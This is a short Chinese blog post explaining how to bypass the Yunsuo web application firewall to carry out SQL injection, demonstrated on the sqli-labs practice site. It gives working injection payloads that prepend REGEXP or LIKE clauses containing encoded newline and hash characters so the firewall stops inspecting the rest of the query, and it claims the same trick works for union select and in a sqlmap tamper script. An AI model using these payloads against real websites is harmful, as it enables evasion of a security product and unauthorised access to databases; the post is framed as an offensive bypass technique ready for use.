一、简介

锁子哥最近又更新了,之前乔帮主的bypass方法都不好使了,所以才有了本文。

绕过云锁主要是通过破坏正则的方式,主要是通过REGEXP和LIKE参数

  1. REGEXP "[*%0a%23]"
  2. LIKE "[*%0a%23]"
  3. 云锁遇到%23,即#时,会自动舍弃#后的部分不进行正则匹配,这样就绕过了检测
  4. %0a的作用主要是用来破坏正则

二、具体Bypass过程

这里以sqli-labs为例,可以发现常规的注入语句被拦截了,这里明显检测的是order by等关键字。
image.png
一开始想通过内联注入的方法进行绕过

  1. ?id=1' /*!50000order by*/ 4--+

image.png
锁子哥成熟了,没那么好绕过了,既然一个注释不行,那就再给他加一个

  1. ?id=1' /*!50000order /*!@#$%^*/ by*/ 4--+

image.png
又GG了,看来这个思路是有问题的。乔帮主说可以用正则破坏正则,以毒攻毒,而且云锁的正则如果匹配到#会自动舍弃#后的内容不进行检测,可以用LIKE或者REGEXP

  1. ?id=1' REGEXP "[%0a%23]" order by 5--+
  2. ?id=1' LIKE "[%0a%23]" order by 5--+

image.png
image.png
果然绕过去了,锁子哥还是不行啊
union select也是一样绕过思路
image.png
后面就不赘述了

总结:
在关键字前加上LIKE或者REGEXP参数,即可绕过云锁。加入的REGEXP “[%0a%23]”或者LIKE “[%0a%23]”并没有实际意义,也没有进行正则匹配。单纯是为了云锁检测到%23时放过后面的内容,不检测%23后的内容

三、SQLmap的tamper脚本

image.png
只要把所有关键字前加上REGEXP或者LIKE参数就行了